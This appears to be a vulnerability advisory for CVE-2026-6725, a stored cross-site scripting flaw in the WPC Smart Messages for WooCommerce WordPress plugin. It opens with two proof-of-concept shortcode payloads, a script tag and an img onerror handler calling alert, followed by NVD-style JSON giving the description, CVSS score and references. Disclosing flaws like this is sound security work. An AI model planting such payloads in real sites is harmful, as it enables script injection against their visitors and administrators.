CVE-2026-6725

[wpcsm_text_rotator text="<script>alert('XSS');</script>"] <!-- // Alternatively, using an image tag to trigger XSS: [wpcsm_text_rotator text="<img src=x onerror=alert('XSS')>"] // This payload exploits the 'text' attribute within the wpcsm_text_rotator shortcode. // When a user with sufficient permissions views the page, the script executes. -->

{"cve": {"id": "CVE-2026-6725", "sourceIdentifier": "[email protected]", "published": "2026-04-28T06:16:04.600", "lastModified": "2026-04-28T20:26:04.673", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WPC Smart Messages for WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'text' attribute of the `wpcsm_text_rotator` shortcode in all versions up to, and including, 4.2.8. This is due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/wpc-smart-messages/tags/4.2.8/includes/class-shortcode.php#L458", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wpc-smart-messages/tags/4.2.9/includes/class-shortcode.php#L450", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wpc-smart-messages/tags/4.2.9/includes/class-shortcode.php#L459", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/wpc-smart-messages", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/9c1ac689-329a-4459-8b67-176e959cc02d?source=cve", "source": "[email protected]"}]}}